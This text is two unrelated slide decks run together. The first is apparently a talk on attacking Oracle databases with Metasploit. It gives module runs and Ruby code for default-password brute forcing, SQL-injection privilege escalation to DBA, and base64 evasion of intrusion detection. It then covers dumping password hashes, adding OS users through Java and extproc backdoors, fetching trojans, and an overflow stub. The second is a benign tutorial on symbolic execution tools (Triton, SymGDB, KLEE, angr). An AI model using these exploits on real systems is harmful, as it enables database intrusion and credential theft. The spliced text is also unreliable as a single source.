[*] Identified SID for 172.10.1.107 : acms
[*] Identified SERVICE_NAME for 172.10.1.107 : PLSExtProc
[*] Identified SERVICE_NAME for 172.10.1.107 : acms
[*] Auxiliary module execution completed
msf auxiliary(sid_enum) > run
[-] TNS listener protected for 172.10.1.109...
[*] Auxiliary module execution completed
Oracle Attack Methodology
Determine Oracle SID.
By quering the TNS Listener directly, brute force for
default SID's or query other components that may
contain it.
msf auxiliary(sid_brute) > run
[*] Starting brute force on 172.10.1.109, using sids
from /home/cg/evil/msf3/dev/data/exploits/sid.txt...
[*] Found SID 'ORCL' for host 172.10.1.109.
[*] Auxiliary module execution completed
Oracle Attack Methodology
Determine Oracle SID.
By quering the TNS Listener directly, brute force for
default SID's or query other components that may
contain it.
msf auxiliary(sid_enum) > run
[-] TNS listener protected for 172.10.1.108...
[*] Auxiliary module execution completed
msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/spy_sid
msf auxiliary(spy_sid) > run
[*] Discovered SID: ‘orcl' for host 172.10.1.108
[*] Auxiliary module execution completed
msf auxiliary(spy_sid) >
Oracle Attack Methodology
Determine Oracle SID.
Enterprise Manger Console.
Oracle Attack Methodology
Determine Oracle SID.
Enterprise Manager Console.
Query other components that may contain it.
msf auxiliary(sid_enum) > run
[-] TNS listener protected for 172.10.1.108...
[*] Auxiliary module execution completed
msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/oas_sid
msf auxiliary(oas_sid) > run
[*] Discovered SID: ‘orcl' for host 172.10.1.109
[*] Auxiliary module execution completed
msf auxiliary(oas_sid) >
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
Determine Oracle Username/Password.
Brute Force For Known Default Accounts.
msf auxiliary(brute_login) > set SID ORCL
SID => ORCL
msf auxiliary(brute_login) > run
.
[-] ORA-01017: invalid username/password; logon denied
[-] ORA-01017: invalid username/password; logon denied
[*] Auxiliary module execution completed
msf auxiliary(brute_login) > db_notes
[*] Time: Sat May 30 08:44:09 -0500 2009 Note: host=172.10.1.109
type=BRUTEFORCED_ACCOUNT data=SCOTT/TIGER
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
Privilege Escalation via SQL Injection.
SQL Injection in default Oracle packages.
A good chunk of it executable by public!
Regular SQLI requires CREATE PROCEDURE privilege
which most default accounts possess.
Cursor SQLI only requires CREATE SESSION privilege.
Privilege Escalation
The code.
def initialize(info = {})super(update_info(info,
'Name' => 'SQL Injection via SYS.LT.FINDRICSET.',
'Description' => %q{snip...
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>[ [ 'BID', '26098' ],],
'DisclosureDate' => 'Oct 17 2007'))
register_options( [
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to
#{datastore['DBUSER']}"]),], self.class)
Privilege Escalation
The code.
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
function =
"CREATE OR REPLACE FUNCTION #{name} RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL'].upcase}'; COMMIT;
RETURN(0);
END;"
Privilege Escalation
The code.
package ="BEGIN
SYS.LT.FINDRICSET('.'' #{datastore ['DBUSER']}.#{name}||'''')--','');
END;"
clean = "DROP FUNCTION #{name}"
....
print_status("Sending first function...")
prepare_exec(function)
print_status("Attempting sql injection on SYS.LT.FINDRICSET...")
prepare_exec(package)
print_status("Removing function '#{name}'...")
prepare_exec(clean)
....
Privilege Escalation
The set-up.
msf auxiliary(lt_findricset) > set RHOST 172.10.1.109
RHOST => 172.10.1.109
msf auxiliary(lt_findricset) > set RPORT 1521
RPORT => 1521
msf auxiliary(lt_findricset) > set DBUSER SCOTT
DBUSER => SCOTT
msf auxiliary(lt_findricset) > set DBPASS TIGER
DBPASS => TIGER
msf auxiliary(lt_findricset) > set SID ORCL
SID => ORACLE
msf auxiliary(lt_findricset) > set SQL GRANT DBA TO SCOTT
SQL => GRANT DBA TO SCOTT
Privilege Escalation
Attacking SYS.LT.FINDRICSET.
msf auxiliary(lt_findricset) > set SQL "grant dba to scott"
SQL => grant dba to scott
msf auxiliary(lt_findricset) > run
[*] Sending first function...
[*] Done...
[*] Attempting sql injection on SYS.LT.FINDRICSET...
[*] Done...
[*] Removing function 'NBVFICZ'...
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(lt_findricset) >
Privilege Escalation
Success?
Before Injection.
SQL => select * from user_role_privs
msf auxiliary(sql) > run
[*] Sending SQL...
[*] SCOTT,CONNECT,NO,YES,NO
[*] SCOTT,RESOURCE,NO,YES,NO
After Injection.
msf auxiliary(sql) > run
[*] Sending SQL...
[*] SCOTT,CONNECT,NO,YES,NO
[*] SCOTT,DBA,NO,YES,NO
[*] SCOTT,RESOURCE,NO,YES,NO
Privilege Escalation
Which works, but...
Privilege Escalation
This Can Be Solved By Implementing Some
Basic Evasion.
Which Is Then Decoded On The Remote Side.
DECLARE
#{rand2} VARCHAR2(32767);
BEGIN
#{rand2} :=
utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{rand2}; END;
dos = Rex::Text.encode_base64(package)
Privilege Escalation
We Bypass The NIDS, But Not So Much The HIPS
Privilege Escalation
At least not with that exploit!
"select sys.dbms_metadata.get_xml('''||#{datastore['DBUSER']}.#{name}()||''','') from dual"
Privilege Escalation Exploits
Coverage.
lt_findricset.rb
lt_findricset_cursor.rb
dbms_metadata_open.rb
dbms_cdc_ipublish.rb
dbms_cdc_publish.rb
lt_compressworkspace.rb
lt_mergeworkspace.rb
lt_removeworkspace.rb
lt_rollbackworkspace.rb
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Post Exploitation
If all I want is the Data after SQLI to DBA we are
probably done.
sql.rb to run SQL commands.
msf auxiliary(sql) > set SQL "select username,password,account_status from
dba_users”
SQL => select username,password,account_status from dba_users
msf auxiliary(sql) > run
[*] Sending SQL...
[*] SYS,7087B7E95718C0CC,OPEN
[*] SYSTEM,66DC0F914CDD83F3,OPEN
[*] DBSNMP,E066D214D5421CCC,OPEN
[*] SCOTT,F894844C34402B67,OPEN
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(sql) >
Post Exploitation
Data is nice, but shells are better
Several published methods for running OS
commands via oracle libraries.
Via Java.
Extproc backdoors.
Dbms_Scheduler.
Run custom pl/sql or java
Post Exploitation
Win32Exec
Grant user JAVASYSPRIVS using sql.rb.
Run win32exec.rb to run system commands.
Examples
Net User Add
TFTP get trojan.exe → execute trojan.exe
FTP Batch Scripts
Net User Add → metasploit psexec exploit
Post Exploitation
Win32Exec
msf auxiliary(win32exec) > set CMD "net user dba P@ssW0rd1234 /add“
CMD => net user dba P@ssW0rd1234 /add
msf auxiliary(win32exec) > run
[*] Creating MSF JAVA class...
[*] Done...
[*] Creating MSF procedure...
[*] Done...
[*] Sending command: 'net user dba P@ssW0rd1234 /add‘
[*] Done...
[*] Auxiliary module execution completed
Post Exploitation
FTP Upload
Echo over FTP batch script via UTL_FILE, use
DBMS_Scheduler to run the script and execute the
malware.
Demo Video at:
http://vimeo.com/2704188
Post Exploitation
Perl Backdoor
Oracle installs perl with every install.
Use UTL_FILE to echo over perl shell line by line.
Use one of the other tools to execute perl shell.
Easy to use with *nix
Post Exploitation
Extproc Backdoor via directory traversal.
Allows you to call libraries outside of
oracle root.
Nix and win32.
CVE 2004-1364
9.0.1.1 – 9.0.1.5
9.2.0.1 – 9.2.0.5
10.1.0.2
Post Exploitation
Extproc Backdoor via directory traversal.
msf auxiliary(extproc_backdoor_traversal) > set CMD “net user metasploit
metasploit /add”
CMD => net user metasploit metasploit /add
msf auxiliary(extproc_backdoor_traversal) > run
[*] Setting up extra required permissions
[*] Done...
[*] Set msvcrt.dll location to
C:\oracle\ora92\bin\../../../Windows\system32\msvcrt.dll
[*] Done...
[*] Setting extproc backdoor
[*] Running command net user metasploit metasploit /add
[*] Done…
[*] Auxiliary module execution complete
Post Exploitation
Extproc Backdoor via directory traversal.
Post Exploitation
Extproc Backdoor via copy dll.
“newer” versions will allow you to just copy over
the dll into the %ORACLE_HOME%\bin directory.
CREATE OR REPLACE DIRECTORY copy_dll_from AS
'C:\Windows\system32';
CREATE OR REPLACE DIRECTORY copy_dll_to AS
'C:\Oracle\product\10.1.0\db_1\BIN';
…
CREATE OR REPLACE LIBRARY extproc_shell AS
'C:\Oracle\product\10.1.0\db_1\bin\msvcrt.dll'; /
Works on newer Oracle 10g/11g.
http://milw0rm.org/exploits/7675
Post Exploitation
Oracle NTLM Stealer
Oracle running as admin user not SYSTEM.
Have Oracle connect back to MSF, grab halfLM
challenge or perform SMB Relay attack.
Module writers did a great write up on using the
module and when it would be useful.
http://www.dsecrg.com/files/pub/pdf/Penetration_from_application
_down_to_OS_(Oracle%20database).pdf
Breaking Other Oracle Apps
Oracle Application Server CGI/Vulnerable URL
scanner
oas_cgi.rb
msf auxiliary(oas_cgi) > run
[*] /em/console/logon/logon
[*] /em/dynamicImage/emSDK/chart/EmChartBean
[*] /servlet/DMSDump
[*]/servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-
INF/config/soapConfig.xml
[*] /servlet/Spy
[*] Auxiliary module execution completed
The Way Ahead
Exploits For Vulnerable Packages.
[*] ORA-03135: connection lost contact
PROCEDURE DELETE_REFRESH_OPERATIONS
Argument Name
Type
In/Out Default?
------------------------------
-----------------------
------
--------
SNAP_OWNER
VARCHAR2
IN
SNAP_NAME
VARCHAR2
IN
sploit = rand_text_alpha_upper(576) + "BBBB" + "AAAA" + "\xcc" * 500
sql = %Q|BEGIN
SYS.DBMS_SNAP_INTERNAL.DELETE_REFRESH_OPERATIONS('MSF', '#{sploit}');
END;
|
0:032> !exchain
074fc408: 41414141
Invalid exception stack at 42424242
THANKS!
Questions?
THANKS!
HDM, Richard Evans, JMG, !LSO, Sh2kerr, Rory McCune | pdf |
Triton and Symbolic
execution on GDB
bananaappletw)@)DEF)CON)China)
2018/05/11)
$whoami
• Wei-Bo)Chen(@bananaappletw))
• MS)major)in)CSE,)Chiao)Tung)
University,)Hsinchu)
• Organizations:)
• Software)Quality)Laboratory)
• Co-founder)of)NCTUCSC)
• Bamboofox)member)
• Specialize)in:)
• symbolic)execution)
• binary)exploitation)
• Talks:)
• HITCON)CMT)2015)
HITCON)CMT)2017)
Outline
• Why)symbolic)execution?)
• What)is)symbolic)execution?)
• Triton)
• SymGDB)
• Conclusion)
• Drawbacks)of)Triton)
• Comparison)between)other)symbolic)execution)framework)
Why symbolic execution?
In the old days
• Static)analysis)
• Dynamic)analysis)
Static analysis
• objdump)
• IDA)PRO)
Dynamic analysis
• GDB)
• ltrace)
• strace)
My brain is going to explode
Symbolic execution!!!
What is symbolic execution?
Symbolic execution
• Symbolic)execution)is)a)means)of)analyzing)a)program)to)determine)
what)inputs)cause)each)part)of)a)program)to)execute.)
• System-level)
• S2e(https://github.com/dslab-epfl/s2e))
• User-level)
• Angr(http://angr.io/))
• Triton(https://triton.quarkslab.com/))
• Code-based)
• klee(http://klee.github.io/))
Symbolic execution
Z"=="12"
fail()"
"OK""
Triton
• Website:)https://triton.quarkslab.com/)
• A)dynamic)binary)analysis)framework)written)in)C++.)
• developed)by)Jonathan)Salwan)
• Python)bindings)
• Triton)components:)
• Symbolic)execution)engine)
• Tracer)
• AST)representations)
• SMT)solver)Interface)
Triton
• Structure)
• Symbolic)execution)engine)
• Triton)Tracer)
• AST)representations)
• Static)single)assignment)form(SSA)form))
• Symbolic)variables)
• SMT)solver)Interface)
• Example
Structure
Symbolic execution engine
• The)symbolic)engine)maintains:)
• a)table)of)symbolic)registers)states)
• a)map)of)symbolic)memory)states)
• a)global)set)of)all)symbolic)references)
Step)
Register)
Instruction)Set)of)symbolic)expressions)
init) eax)=)UNSET)None)
)
1)
eax)=)φ1)
mov)eax,)0){φ1=0})
2)
eax)=)φ2)
inc)eax)
{φ1=0,φ2=φ1+1})
3)
eax)=)φ3)
add)eax,)5) {φ1=0,φ2=φ1+1,φ3=φ2+5})
Triton Tracer
• Tracer)provides:)
• Current)opcode)executed)
• State)context)(register)and)memory))
• Translate)the)control)flow)into)AST"Representations"
• Pin)tracer)support)
AST representations
• Triton)converts)the)x86)and)the)x86-64)instruction)set)semantics)into)
AST)representations.)
• Triton's)expressions)are)on)SSA"form.)
• Instruction:))add)rax,)rdx)
• Expression:)))ref!41)=)(bvadd)((_)extract)63)0))ref!40))((_)extract)63)0))
ref!39)))
• ref!41)is)the)new)expression)of)the)RAX)register.)
• ref!40)is)the)previous)expression)of)the)RAX)register.)
• ref!39)is)the)previous)expression)of)the)RDX)register.)
AST representations
• mov)al,)1)
• mov)cl,)10)
• mov)dl,)20)
• xor)cl,)dl)
• add)al,)cl)
Static single assignment form(SSA form)
Each)variable)is)assigned)exactly)once"
• y):=)1)
• y):=)2)
• x):=)y)
Turns)into)
• y1):=)1)
• y2):=)2)
• x1):=)y2)
Static single assignment form(SSA form)
y1):=)1))(This)assignment)is)not)necessary))
y2):=)2)
x1):=)y2)
• When)Triton)process)instructions,)it)could)ignore)some)unnecessary)
instructions.)
Symbolic variables
• Imagine)symbolic)as)a)infection.)If)one)of)the)operand)of)a)instruction)
is)symbolic,)the)register)or)memory)which)the)instruction)infect)will)
be)symbolic.)
• In)Triton,)we)could)use)the)following)method)to)manipulate)it.)
• convertRegisterToSymbolicVariable(const)triton::arch::Register)®))
• isRegisterSymbolized(const)triton::arch::Register)®))
Symbolic variables
1. Make)ecx)as)symbolic)variable)
• convertRegisterToSymbolicVaria
ble(Triton.registers.rcx))
• isRegisterSymbolized(Triton.regi
sters.rcx))==)True)
Symbolic variables
1. Make)ecx)as)symbolic)variable)
2. test)ecx,)ecx"
• ZF)=)AND(ecx,)ecx))==)0)
• If)ecx)==)0:)
• Set)ZF)to)1)
• Else:)
• Set)ZF)to)0)
Symbolic variables
1. Make)ecx)as)symbolic)variable)
2. test)ecx,)ecx"
3. je)+7)(eip))
4. mov)edx,)0x64)
5. nop)
• If)ZF)==)1:)
• Jump)to)nop)
• Else:)
• Execute)next)instruction)
• isRegisterSymbolized(Triton.regi
sters.eip))==)True)
SMT solver Interface
Example
• Defcamp)2015)r100)
• Program)require)to)input)the)password)
• Password)length)could)up)to)255)characters)
• Then)do)the)serial)operations)to)check)password)is)correct)
Defcamp 2015 r100
Defcamp 2015 r100
Defcamp 2015 r100
• Import)Triton)and)initialize)Triton)context)
• Set)Architecture)
• Load)segments)into)triton)
• Define)fake)stack)()RBP)and)RSP)))
• Symbolize)user)input)
• Start)to)processing)opcodes)
• Set)constraint)on)specific)point)of)program)
• Get)symbolic)expression)and)solve)it)
Import Triton and initialize Triton context
Set Architecture
Load segments into triton
Define fake stack ( RBP and RSP )
Symbolize user input
Start to processing opcodes
Get symbolic expression and solve it
Some problems of Triton
• The)whole)procedure)is)too)complicated.)
• High)learning)cost)to)use)Triton.)
• With)support)of)debugger,)many)steps)could)be)simplified.)
SymGDB
• Repo:)
https://github.com/SQLab/symgdb)
• Symbolic)execution)support)for)GDB)
• Combined)with:)
• GDB)Python)API)
• Triton)
• Symbolic)environment)
• symbolize)argv
Design and Implementation
• GDB)Python)API)
• Failed)method)
• Successful)method)
• Flow)
• SymGDB)System)Structure)
• Implementation)of)System)
Internals)
• Relationship)between)SymGDB)
classes)
• Supported)Commands)
• Symbolic)Execution)Process)in)
GDB)
• Symbolic)Environment)
• symbolic)argv)
• Debug)tips)
• Demo
GDB Python API
• API:)https://sourceware.org/gdb/onlinedocs/gdb/Python-API.html)
• Source)python)script)in).gdbinit)
• Functionalities:)
• Register)GDB)command)
• Register)event)handler)(ex:)breakpoint))
• Execute)GDB)command)and)get)output)
• Read,)write,)search)memory)
Register GDB command
Register event handler
Execute GDB command and get output
Read memory
Write memory
Failed method
• At)first,)I)try)to)use)Triton)callback)to)get)memory)and)register)values)
• Register)callbacks:)
• needConcreteMemoryValue(const)triton::arch::MemoryAccess&)mem))
• needConcreteRegisterValue(const)triton::arch::Register&)reg))
• Process)the)following)sequence)of)code)
• mov)eax,)5)
• mov)ebx,eax)(Trigger"needConcreteRegisterValue))
• We)need)to)set)Triton)context)of)eax)
Triton callbacks
Problems
• Values)from)GDB)are)out)of)date)
• Consider)the)following)sequence)of)code)
mov)eax,)5)
• We)set)breakpoint)here,)and)call)Triton's)processing()))
mov)ebx,eax)(trigger)callback)to)get)eax)value,)eax)=)5))
mov)eax,)10)
mov)ecx,)eax)(Trigger)again,)get)eax)=)5))
• Because)context)state)not)up)to)date)
Tried solutions
• Before)needed)value)derived)from)GDB,)check)if)it)is)not)in)the)
Triton's)context)yet)
Not)working!)
Triton)will)fall)into)infinite)loop)
)
Successful method
• Copy)GDB)context)into)Triton)
• Load)all)the)segments)into)Triton)context)
• Symbolic)execution)won't)affect)original)GDB)state)
• User)could)restart)symbolic)execution)from)breakpoint)
Flow
• Get)debugged)program)state)by)calling)GDB)Python)API)
• Get)the)current)program)state)and)yield)to)triton)
• Set)symbolic)variable)
• Set)the)target)address)
• Run)symbolic)execution)and)get)output)
• Inject)back)to)debugged)program)state)
SymGDB System Structure
Implementation of System Internals
• Three)classes)in)the)symGDB)
• Arch(),)GdbUtil(),)Symbolic())
• Arch())
• Provide)different)pointer)sizeregister)name)
• GdbUtil())
• Read)write)memoryread)write)register)
• Get)memory)mapping)of)program)
• Get)filename)and)detect)architecture)
• Get)argument)list)
• Symbolic())
• Set)constraint)on)pc)register)
• Run)symbolic)execution)
Relationship between SymGDB classes
Supported Commands
Command)"
Option))))))))))"
Functionality))))))))))"
symbolize)
argv)
memory)[address][size]) Make)symbolic)
target)
address)
Set)target)address)
triton)))
None)
Run)symbolic)execution)))
answer)
None)
Print)symbolic)variables)
debug)
symbolic)
gdb)
Show)debug)messages)
Symbolic Execution Process in GDB
• gdb.execute("info"registers","to_string=True)"to)get)registers)
• gdb.selected_inferior().read_memory(address,"length)"to)get)memory)
• setConcreteMemoryAreaValue)and)setConcreteRegisterValue)to)set)
triton)state)
• In)each)instruction,)use)isRegisterSymbolized)to)check)if)pc)register)is)
symbolized)or)not)
• Set)target)address)as)constraint)
• Call)getModel)to)get)answer)
• gdb.selected_inferior().write_memory(address,"buf,"length)"to)inject)back)
to)debugged)program)state)
Symbolic Environment: symbolic argv
• Using)"info)proc)all")to)get)stack)
start)address)
• Examining)memory)content)from)
stack)start)address)
• argc)
• argv[0])
• argv[1])
• ……)
• null)
• env[0])
• env[1])
• ……)
• null)
argc
argument)counter(integer)
argv[0]
program)name)(pointer)
argv[1]
program)args)(pointers)
…
argv[argc-1]
null
end)of)args)(integer)
env[0]
environment)variables)(pointers)
env[1]
…
env[n]
null
end)of)environment)(integer)
Debug tips
• Simplify:)
https://github.com/JonathanSalwan/Triton/blob/master/src/
examples/python/simplification.py)
Demo
• Examples)
• crackme)hash)
• crackme)xor)
• GDB)commands)
• Combined)with)Peda
crackme hash
• Source:)
https://github.com/illera88/Ponce/blob/master/examples/
crackme_hash.cpp)
• Program)will)pass)argv[1])to)check)function)
• In)check)function,)argv[1])xor)with)serial(fixed)string))
• If)sum)of)xored)result)equals)to)0xABCD)
• print)"Win")
• else)
• print)"fail")
crackme hash
crackme hash
crackme hash
crackme xor
• Source:)
https://github.com/illera88/Ponce/blob/master/examples/crackme_xor.cpp)
• Program)will)pass)argv[1])to)check)function)
• In)check)function,)argv[1])xor)with)0x55)
• If)xored)result)not)equals)to)serial(fixed)string)))
• return)1)
• print)"fail")
• else)
• go)to)next)loop)
• If)program)go)through)all)the)loop))
• return)0)
• print)"Win")
crackme xor
crackme xor
crackme xor
GDB commands
GDB commands
Combined with Peda
• Same)demo)video)of)crackme)hash)
• Using)find(peda)command))to)find)argv[1])address)
• Using)symbolize)memory)argv[1]_address)argv[1]_length)to)symbolic)
argv[1])memory)
Combined with Peda
Conclusion
• Using)GDB)as)the)debugger)to)provide)the)information.)Save)you)the)
endeavor)to)do)the)essential)things.)
• SymGDB)plugin)is)independent)from)the)debugged)program)except)if)
you)inject)answer)back)to)it.)
• With)the)tracer)support(i.e.)GDB),)we)could)have)the)concolic)
execution.
Concolic Execution
• Concolic)=)Concrete)+)Symbolic"
• Using)both)symbolic)variables)and)concrete)values)
• It)is)fast.)Compare)to)Full)Emulation,)we)don’t)need)to)evaluate)
memory)or)register)state)from)SMT)formula,)directly)derived)from)
real)CPU)context.
Drawbacks of Triton
• Triton)doesn't)support)GNU)c)library)
• Why?)
• SMT)Semantics)Supported:)
https://triton.quarkslab.com/documentation/doxygen/
SMT_Semantics_Supported_page.html)
• Triton)has)to)implement)system)call)interface)to)support)GNU)c)
library)a.k.a.)support)"int)0x80")
• You)have)to)do)state)traversal)manually.)
Comparison between other symbolic
execution framework
• KLEE)
• Angr)
KLEE
• Symbolic)virtual)machine)built)on)top)of)the)LLVM)compiler)
infrastructure)
• Website:)http://klee.github.io/)
• Github:)https://github.com/klee/klee)
• KLEE)paper:)http://llvm.org/pubs/2008-12-OSDI-KLEE.pdf)(Worth)
reading)))
• Main)goal)of)KLEE:)
1. Hit)every)line)of)executable)code)in)the)program)
2. Detect)at)each)dangerous)operation)
Introduction
• KLEE)is)a)symbolic)machine)to)generate)test)cases.)
• In)order)to)compiled)to)LLVM)bitcode,)source)code)is)needed.)
• Steps:)
• Replace)input)with)KLEE)function)to)make)memory)region)symbolic)
• Compile)source)code)to)LLVM)bitcode)
• Run)KLEE)
• Get)the)test)cases)and)path's)information)
get_sign.c
#include)<klee/klee.h>)
int)get_sign(int)x)){)
))if)(x)==)0))
)))))return)0;)
if)(x)<)0))
)))))return)-1;)
))else))
)))))return)1;)
}
int)main()){)
))int)a;)
))klee_make_symbolic(&a,)sizeof(a),)"a");)
))return)get_sign(a);)
}
get_sign.ll
define)i32)@main())#0){)
))%1)=)alloca)i32,)align)4)
))%a)=)alloca)i32,)align)4)
))store)i32)0,)i32*)%1)
))call)void)@llvm.dbg.declare(metadata)!{i32*)
%a},)metadata)!25),)!dbg)!26)
))%2)=)bitcast)i32*)%a)to)i8*,)!dbg)!27)
))call)void)@klee_make_symbolic(i8*)%2,)i64)4,)
i8*)getelementptr)inbounds)([2)x)i8]*)@.str,)
i32)0,)i32)0)),)!dbg)!27)
))%3)=)load)i32*)%a,)align)4,)!dbg)!28)
))%4)=)call)i32)@get_sign(i32)%3),)!dbg)!28)
))ret)i32)%4,)!dbg)!28)
})
Result
Diagram
1. Step)the)program)until)it)
meets)the)branch)
#include)<klee/klee.h>)
int)get_sign(int)x)){)
))if)(x)==)0))
)))))return)0;)
if)(x)<)0))
)))))return)-1;)
))else))
)))))return)1;)
}
int)main()){)
))int)a;)
))klee_make_symbolic(&a,)sizeof(a),)
"a");)
))return)get_sign(a);)
}
Diagram
1. Step)the)program)until)it)
meets)the)branch)
2. If)all)given)operands)are)
concrete,)return)constant)
expression.))If)not,)record)
current)condition)constraints)
and)clone)the)state.)
#include)<klee/klee.h>)
int)get_sign(int)x)){)
))if)(x)==)0))
)))))return)0;)
if)(x)<)0))
)))))return)-1;)
))else))
)))))return)1;)
}
int)main()){)
))int)a;)
))klee_make_symbolic(&a,)sizeof(a),)"a");)
))return)get_sign(a);)
}
Diagram
1. Step)the)program)until)it)
meets)the)branch)
2. If)all)given)operands)are)
concrete,)return)constant)
expression.))If)not,)record)
current)condition)constraints)
and)clone)the)state)
3. Step)the)states)until)they)hit)
exit)call)or)error)
X==0)
Constraints:)
X!=0)
Next)instruction:)
if)(x)<)0))
Constraints:)
X==0)
Next)instruction:)
return)0;)
Diagram
1. Step)the)program)until)it)
meets)the)branch)
2. If)all)given)operands)are)
concrete,)return)constant)
expression.))If)not,)record)
current)condition)constraints)
and)clone)the)state)
3. Step)the)states)until)they)hit)
exit)call)or)error)
4. Solve)the)conditional)
constraint)
X==0)
Constraints:)
X!=0)
Next)instruction:)
if)(x)<)0))
Constraints:)
X==0)
Next)instruction:)
return)0;)
Diagram
1. Step)the)program)until)it)meets)the)branch)
2. If)all)given)operands)are)concrete,)return)constant)expression.))If)
not,)record)current)condition)constraints)and)clone)the)state)
3. Step)the)states)until)they)hit)exit)call)or)error)
4. Solve)the)conditional)constraint)
5. Loop)until)no)remaining)states)or)user-defined)timeout)is)reached)
What's the difference in KLEE
• Introduce)to)the)concept)of)state,)the)deeper)path)could)be)reached)
by)stepping)the)state)tree.)
• Seems)like)support)GNU)c)library?)
What's the difference in KLEE
• Current)state)is)now,)our)final)goal)is)to)
reach)path)D.)
• In)Triton)
• solve)the)symbolic)variable)to)path)B)
• Set)the)concrete)value)and)step)to)path)B)
• Solve)the)symbolic)variable)to)path)D)
• In)KLEE)
• Record)condition)constraints)to)path)B"
• Clone)the)state)
• Solve)the)symbolic)variable)to)path)D
now
A
B
C
D
What's the difference in KLEE
• When)KLEE)need)to)deal)with)GNU)c)library,)run)KLEE)with)--
libc=uclibc)--posix-runtime)parameters.)
• When)KLEE)detect)the)analyzed)program)make)the)external)call)to)the)
library,)which)isn't)compiled)to)LLVM)IR)instead)linked)with)the)
program)together.)
• The)library)call)is)only)done)concretely,)which)means)loosing)symbolic)
information)within)the)library)call.
Angr
• Website:)http://angr.io/)
• Angr)is)a)python)framework)for)analyzing)binaries.)It)combines)both)
static)and)dynamic)symbolic)("concolic"))analysis,)making)it)applicable)
to)a)variety)of)tasks.)
• Support)various)architectures)
• Flow)
• Loading)a)binary)into)the)analysis)program.)
• Translating)a)binary)into)an)intermediate)representation(IR).)
• Performing)the)actual)analysis)
Flow
• Import)angr)
import)angr)
• Load)the)binary)and)initialize)angr)project)
project)=)angr.Project('./ais3_crackme'))
• Define)argv1)as)100)bytes)bitvectors)
argv1)=)claripy.BVS("argv1",100*8))
• Initialize)the)state)with)argv1)
state)=)project.factory.entry_state(args=["./crackme1",argv1]))
Flow
)
• Initialize)the)simulation)manager)
simgr)=)p.factory.simgr(state))
• Explore)the)states)that)matches)the)condition)
simgr.explore(find=)0x400602))
• Extract)one)state)from)found)states)
found)=)simgr.found[0]))
• Solve)the)expression)with)solver)
solution)=)found.solver.eval(argv1,)cast_to=str))
ais3 crackme
• Binary)could)be)found)in:)
https://github.com/angr/angr-doc/blob/master/examples/
ais3_crackme/))
• Run)binary)with)argument)
• If)argument)is)correct)
• print)"Correct!)that)is)the)secret)key!")
• else))
• print)"I'm)sorry,)that's)the)wrong)secret)key!")
Target address
Solution
import)angr)
import)claripy)
project)=)angr.Project("./ais3_crackme"))
argv1)=)claripy.BVS("argv1",100*8))
state)=)project.factory.entry_state(args=["./
crackme1",argv1]))
simgr)=)project.factory.simgr(state))
simgr.explore(find=0x400602))
found)=)simgr.found[0])
solution)=)found.solver.eval(argv1,)
cast_to=str))
print(repr(solution)))
Result
Intermediate Representation
• In)order)to)be)able)to)analyze)and)execute)machine)code)from)
different)CPU)architectures,)Angr)performs)most)of)its)analysis)on)an)
intermediate)representation)
• Angr's)intermediate)representation)is)VEX(Valgrind),)since)the)
uplifting)of)binary)code)into)VEX)is)quite)well)supported)
Intermediate Representation
• IR)abstracts)away)several)architecture)differences)when)dealing)with)
different)architectures)
• Register"names:)VEX)models)the)registers)as)a)separate)memory)space,)with)
integer)offsets)
• Memory"access:)The)IR)abstracts)difference)between)architectures)access)
memory)in)different)ways)
• Memory"segmentation:)Some)architectures)support)memory)segmentation)
through)the)use)of)special)segment)registers)
• Instruction"side-effects:)Most)instructions)have)side-effects)
Intermediate Representation
• addl)%eax,)%ebx)
• t3)=)GET:I32(0)))
• #)get)%eax,)a)32-bit)integer)
• t2)=)GET:I32(12))
• #)get)%ebx,)a)32-bit)integer)
• t1)=)Add32(t3,t2))
• #)addl)
• PUT(0))=)t1)
• #)put)%eax)
Stash types
active"
This"stash"contains"the"states"that"will"be"stepped"by"default,"unless"an"alternate"stash"is"
specified."
deadended)
A)state)goes)to)the)deadended)stash)when)it)cannot)continue)the)execution)for)some)reason,)
including)no)more)valid)instructions,)unsat)state)of)all)of)its)successors,)or)an)invalid)instruction)
pointer.)
pruned)
When)using)LAZY_SOLVES,)states)are)not)checked)for)satisfiability)unless)absolutely)necessary.)
When)a)state)is)found)to)be)unsat)in)the)presence)of)LAZY_SOLVES,)the)state)hierarchy)is)traversed)
to)identify)when,)in)its)history,)it)initially)became)unsat.)All)states)that)are)descendants)of)that)point)
(which)will)also)be)unsat,)since)a)state)cannot)become)un-unsat))are)pruned)and)put)in)this)stash.)
unconstrained)
If)the)save_unconstrained)option)is)provided)to)the)SimulationManager)constructor,)states)that)are)
determined)to)be)unconstrained)(i.e.,)with)the)instruction)pointer)controlled)by)user)data)or)some)
other)source)of)symbolic)data))are)placed)here.)
unsat)
If)the)save_unsat)option)is)provided)to)the)SimulationManager)constructor,)states)that)are)
determined)to)be)unsatisfiable)(i.e.,)they)have)constraints)that)are)contradictory,)like)the)input)
having)to)be)both)"AAAA")and)"BBBB")at)the)same)time))are)placed)here.)
What's difference in Angr
• State)concept)is)more)complete,)categorized,)and)more)operation)we)
can)do)upon)the)state.)
• Symbolic)function)
Symbolic Function
• Project)tries)to)replace)external)calls)to)library)functions)by)using)
symbolic)summaries)termed)SimProcedures"
